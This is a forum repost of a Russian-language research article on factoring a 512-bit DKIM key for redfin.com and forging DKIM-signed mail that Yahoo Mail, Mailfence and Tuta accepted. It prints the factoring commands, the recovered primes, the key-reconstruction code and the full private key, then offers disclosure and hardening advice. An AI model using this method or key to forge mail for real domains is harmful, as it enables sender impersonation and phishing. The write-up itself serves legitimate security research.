Статья Как взломали 512-разрядный ключ DKIM в облаке менее чем за $8

Admin

Администратор

Как взломали 512-разрядный ключ DKIM в облаке менее чем за $8​

В ходе нашего исследования, охватывавшего записи SPF, DKIM и DMARC на 1 миллионе самых популярных веб-сайтов, мы с удивлением обнаружили более 1 700 открытых DKIM-ключей длиной менее 1 024 бит каждый. Эта находка нас удивила, поскольку RSA-ключи короче 1 024 бит расцениваются как небезопасные, и их не рекомендуется использовать в DKIM с 2018 года, когда был введён в действие документ RFC 8301.

Просто из любопытства мы решили проверить, а удастся ли нам взломать один из таких ключей. Мы стремились извлечь закрытый ключ из открытого RSA-ключа, так, чтобы можно было подписывать им электронные сообщения, выдавая себя за их подлинного отправителя. Кроме того, нас занимало, пройдут ли DKIM-верификацию электронные письма, подписанные таким скомпрометированным ключом. Мы решили проверить крупнейших провайдеров электронной почты — в частности, Gmail, Outlook.com и Yahoo Mail — вдруг они просто с порога откажутся проверять цифровые подписи, сгенерированные настолько коротким ключом.

Для нашего эксперимента мы выбрали домен redfin.com, на котором нашли 512-разрядный открытый RSA-ключ по адресу key1._domainkey.redfin.com (сейчас он уже не доступен):
Python:
$ dig +short TXT key1._domainkey.redfin.com
"k=rsa; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ=="

Декодируем открытый RSA-ключ​

Открытый ключ, расположенный в метке p записи DKIM, закодирован в формате ASN.1 DER format, а затем закодирован как Base64. Чтобы декодировать ключ и далее получить модуль (n) и открытую экспоненту (e), мы воспользовались парой строк кода на Python:
Python:
$ python3
>>> from Crypto.PublicKey import RSA
>>> RSA.import_key('-----BEGIN PUBLIC KEY-----\n' + 'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQ==' + '\n-----END PUBLIC KEY-----')
RsaKey(n=10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119, e=65537)

Факторизация модуля RSA​

Имея модуль n, далее мы собирались определить два простых числа p и q, произведение которых равно n. Эффективно выполнить такой процесс, именуемый «факторизацией» — задача порой непростая. К счастью, мы нашли мощный опенсорсный инструмент CADO-NFS, предназначенный именно для этой цели. В нём предлагается очень простая в использовании реализация алгоритма «решето числового поля» (NFS). Это наиболее эффективный из известных методов факторизации больших целых чисел.

Поскольку на факторизацию требуется значительная вычислительная мощность, а мы не хотели занимать это задачей наши компьютеры на много суток, мы решили арендовать облачный сервер. Выбрали сервер с 8 выделенными виртуальными ядрами ЦП (серия AMD EPYC 7003 series) и 32 ГБ ОЗУ от Hetzner, в качестве операционной системы установили Ubuntu. Далее нам не составило труда настроить CADO-NFS:
Код:
git clone https://gitlab.inria.fr/cado-nfs/cado-nfs.git
cd cado-nfs
make
Чтобы гарантировать, что у сервера хватит памяти на решение этой задачи, мы добавили ещё и область подкачки размером 32 ГБ:
Код:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Мы приступили к факторизации, вызвав скрипт cado-nfs.py и сообщив ему n в качестве ввода:
Код:
./cado-nfs.py 10709580243955269690347257968368575486652256021267387585731784527165077094358215924099792804326677548390607229176966588251215467367272433485332943072098119
На нашем сервере с 8 виртуальными ядрами ЦП весь процесс занял примерно 86 часов, и мы успешно разложили n на p и q:
Код:
Info:Complete Factorization / Discrete logarithm: Total cpu/elapsed time for entire Complete Factorization 2.20529e+06/309865 [3d 14:04:25]
97850895333751392558280999318309697780438485965134147739065017624372104720767 109447953515671602102748820944693252789237215829169932130613751100276125683257
Вероятно, задача решалась бы ещё быстрее, если бы мы выбрали более мощный сервер или распределили рабочую нагрузку на несколько систем (такой процесс упрощается при помощи CADO-NFS), но мы никуда не торопились и вполне были готовы немного подождать.

Сборка закрытого RSA-ключа​

Определив p и q, мы имели в распоряжении все необходимые компоненты, чтобы собрать закрытый RSA-ключ. При этом мы пользовались Python и библиотекой PyCryptodome:
Python:
$ python3
>>> from Crypto.PublicKey import RSA
>>> from Crypto.Util.number import inverse
>>> p = 97850895333751392558280999318309697780438485965134147739065017624372104720767
>>> q = 109447953515671602102748820944693252789237215829169932130613751100276125683257
>>> e = 65537
>>> n = p * q
>>> phi = (p-1) * (q-1)
>>> d = inverse(e, phi)
>>> key = RSA.construct((n, e, d, p, q))
>>> private_key = key.export_key()
>>> print(private_key.decode())
В этих строках на Python выводится закрытый ключ в формате PEM, он готов к использованию:
Код:
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAMx7VnoRmk/wFPeFWxrVUde6AJQI51/uPFL2CbiHGMnRSnLjPs72
AgxAVHIe5QrNQ2riR5+7u47Sgh5R5va/d0cCAwEAAQJAPliEv2dKk4DyA54nbwEH
mSzfLEOiuD8dKXZW9GpMhou72DYYcc5YD0PeQW0uGGsusnTZXRU3Kd3cmVfeR+np
4QIhANhVpOQ440Gqlda3nqCOAag12jq8ET+qr1G7VL8x9PF/AiEA8flYr5rUO6Io
/5HRoHq6p7dA75PRK+7v79o0/ijfTjkCIEdWPpCPfckKomxykllpWnyIfZT+rUVs
WHHAL1r480erAiAz3xD87ALtGbESQE8gyM50n5sjAJwJf/odf7h2d4qPOQIhAKwr
Nv6s5cQiwbYgm1KND83nrkxe6uFQlu9ilkdwAIY4
-----END RSA PRIVATE KEY-----
Отправка тестовых сообщений, подписанных DKIM, с домена @redfin.com
Встроив закрытый RSA-ключ в нашу конфигурацию OpenDKIM, мы перешли к этапу тестирования. Соорудили простое электронное сообщение, в качестве адреса отправителя указали [email protected], а затем разослали это письмо на разные почтовые хостинги. Хотя большинство провайдеров верно идентифицировали 512-разрядный ключ как небезопасный и отклонили нашу DKIM=подпись, три крупных провайдера — Yahoo Mail, Mailfence и Tuta — выдали нам результат dkim=pass.
Вот как распределились ответы по провайдерам:
  • Gmail: ОТКАЗ
  • Outlook: ОТКАЗ
  • Yahoo Mail: ПРОЙДЕНО
  • Zoho: ОТКАЗ
  • Fastmail: ОТКАЗ
  • Proton Mail: ОТКАЗ
  • Mailfence: ПРОЙДЕНО
  • Tuta: ПРОЙДЕНО
  • GMX: ОТКАЗ
  • OnMail: ОТКАЗ
Учитывая, что у redfin.com также есть действующая DMARC-запись (v=DMARC1;p=reject;pct=100;rua=mailto:[email protected];ruf=mailto:[email protected];ri=3600;fo=1;), прохождение DKIM-проверки нашим сообщением с redfin.com автоматически означает, что наше сообщение прошло и DMARC-верификацию. Соответственно, оно удовлетворяет требованиям BIMI.

Вместо заключения​

Тридцать лет назад взломать 512-разрядный открытый RSA-ключ можно было только на суперкомпьютере. Сегодня эта задача решаема за считанные часы на облачном сервере, за который придётся выложить $8. Если же у вас дома есть мощный компьютер с 16 или более ядрами, то эту задачу вы можете решить ещё скорее и экономичнее.

Соответственно, сегодня нецелесообразно использовать ключи из 512 или 768 разрядов. Сервисы электронной почты должны автоматически отклонять любую DKIM-сигнатуру, сгенерированную RSA-ключом короче 1 024 разрядов. Мы довели до сведения Yahoo, Mailfence и Tuta результаты нашего исследования и поделились с этими компаниями нашими советами.

Владельцы доменов должны принимать меры, регулярно проверяя свои DNS-настройки на наличие каких-либо устаревших DKIM-записей, не соответствующих стандарту «минимум 1024 разряда». Проще всего это сделать, проверив в записи DKIM метку p и подсчитав её символы Base64: в открытом 1024-разрядном RSA-ключе здесь будет не менее 216 символов.
 
Похожие темы
Admin Интересно Seed-фразы, ключи и чужой код. Рассказываем, как хакеры взломали библиотеки dYdX. Новости в сети 0
Support81 Как хакеры взломали мир: 14 самых громких взломов 2023 года Новости в сети 1
Support81 Юные британские хакеры взломали десятки организаций по всему миру, как им это удалось? Новости в сети 0
Admin Интересно Историки опровергли роль Томаса Эдисона как отца звукозаписи. Новости в сети 0
Admin Интересно Приёмник смотрит вправо, а удар прилетел слева. Как физика из школьного двора ломает радиозащиту. Новости в сети 0
Admin Интересно Узнайте, как злоумышленники видят вашу сеть: вебинар с HD Moore. Новости в сети 0
Admin Интересно Скидки-оборотни: как бонусные баллы превращаются в инструмент мошенничества. Новости в сети 0
Admin Интересно Искусственный интеллект сокращает временные рамки эксплуатации уязвимостей. Как с этим справиться?. Новости в сети 0
Admin Интересно Тест-драйв: как избавиться от сомнений в выборе ИБ-решения за 7 дней. Новости в сети 0
Admin Интересно Как управлять скрытыми ИИ-инструментами без замедления работы сотрудников. Новости в сети 0
Admin Интересно Ошибка из 2018 и подставные аккаунты. Рассказываем, как популярный пакет art-template начал атаковать айфоны. Новости в сети 0
Admin Интересно Сотрудник ушёл, а доступ остался. Как забытая учётка открыла хакерам путь к водоснабжению целого города. Новости в сети 0
Admin Интересно Роботы научились двигаться как живая материя. Новости в сети 0
Admin Интересно Идентификация как основной вектор атак в современных системах безопасности. Новости в сети 0
Admin Интересно Студенты возмущены после того, как ИИ пропустил сотни имён на выпускной церемонии. Новости в сети 0
Admin Интересно Как небольшая группа пользователей может ухудшить рекомендации в TikTok. Новости в сети 0
Admin Интересно Как небольшая группа пользователей может испортить рекомендации на TikTok. Новости в сети 0
Admin Интересно Как снизить риск фишинга до того, как он приведёт к сбоям в бизнесе. Новости в сети 0
Admin Интересно Как автоматизация ИБ закрывает угрозы без рутины. Новости в сети 0
Admin Интересно VPN, просевший трафик и минус 7 млрд руб. Как новые требования Минцифры ударили по маркетплейсам. Новости в сети 0
Admin Интересно Как анализ собственных инструментов помогает снизить риски кибератак. Новости в сети 0
Admin Интересно Практический вебинар: Как PT NGFW защищает от атак в реальном времени. Новости в сети 0
Admin Интересно ИИ уходит на дно: плавучие серверы в океане как новый этап развития технологий. Новости в сети 0
Admin Интересно Мы искали инопланетян не там? Жизнь прячется не в молекулах, а в том, как они организованы. Новости в сети 0
Admin Интересно Как спрятать секрет с помощью недоказуемой математики? Учёный обошёл 30-летний запрет в криптографии. Новости в сети 0
Admin Интересно Anthropic рассказала, как отучила искусственный интеллект угрожать людям. Новости в сети 0
Admin Интересно Безопасность КИИ: что изменилось и как выстроить защиту. Новости в сети 0
Admin Интересно Звездные каннибалы и космические ДТП. Как во Вселенной появляются самые тяжелые черные дыры. Новости в сети 0
Admin Интересно Азбука Морзе, Grok и $200 000: как один пост в X заставил ИИ-агента перевести токены. Новости в сети 0
Admin Интересно ФБР также читает чаты. Как переписка в мессенджере стоила хакеру восьми лет свободы. Новости в сети 0
Admin Интересно Защита или цензура? История о том, как Касперский стал личным Роскомнадзором на MacBook. Новости в сети 0
Admin Интересно Первый удар по VPN в США: как Юта хочет запретить анонимность, не имея на это технических средств. Новости в сети 0
Admin Интересно Исследователь показал, как отследить австралийских полицейских через Bluetooth. Новости в сети 0
Admin Интересно Галактике 400 миллионов лет, но она выглядит на миллиарды. Уэбб нашёл невозможного красного монстра — и астрономы не понимают, как он успел повзрослет Новости в сети 0
Admin Интересно Целились в Starlink — попали в iPhone. Как новый запрет на спутниковое оборудование создал правовую неопределённость для всего рынка смартфонов. Новости в сети 0
Admin Интересно СМС, которую вы никогда не прочитаете. Как спецслужбы находят «важных персон» за пару часов. Новости в сети 0
Admin Интересно Скафандры не готовы, Луна ждёт. Как бюрократия срывает планы NASA вернуться на Луну. Новости в сети 0
Admin Интересно ИИ врёт так же, как раньше. Но теперь он делает это мило — и вы ему доверяете. Новости в сети 0
Admin Интересно Азартные игры, долги и переписка двух гениев. Как ссора из-за 100 долларов создала современную математику. Новости в сети 0
Admin Интересно Приключения казаха в южнокорейских сетях. Как жадность довела взломщика до тюрьмы. Новости в сети 0
Admin Интересно Что скрыто за вымогательством: как работает индустрия ransomware. Новости в сети 0
Admin Интересно Режиссёры защищают использование ИИ для воссоздания Вэла Килмера в новом фильме как «этичное». Новости в сети 0
Admin Интересно Частица, которая спасла бы физику. Стерильное нейтрино искали 30 лет — как жаль, что оно оказалось миражом. Новости в сети 0
Admin Интересно Вашему RDP поставили «лайк». История о том, как горстка серверов прочесала Интернет и нашла все изъяны. Новости в сети 0
Admin Интересно Русские хакеры против картошки фри. Как взлом кассы самообслуживания обернулся годом условно. Новости в сети 0
Admin Интересно Тройная порция шантажа под соусом анонимности. Как одна банда притворяется сразу тремя разными группировками. Новости в сети 0
Admin Интересно Как соседей России заставляют выбирать между Европой и личным спокойствием. Новости в сети 0
Admin Интересно Позвони мне через пылесос. Как выживает рунет после блокировки мессенджеров. Новости в сети 0
Admin Интересно Ускоритель частиц размером с карандаш. Мощность — как у километрового. И это работает. Новости в сети 0
Admin Интересно Война правок и логотипов: Как Euro-Office поссорился с ONLYOFFICE из-за лицензии. Новости в сети 0

Название темы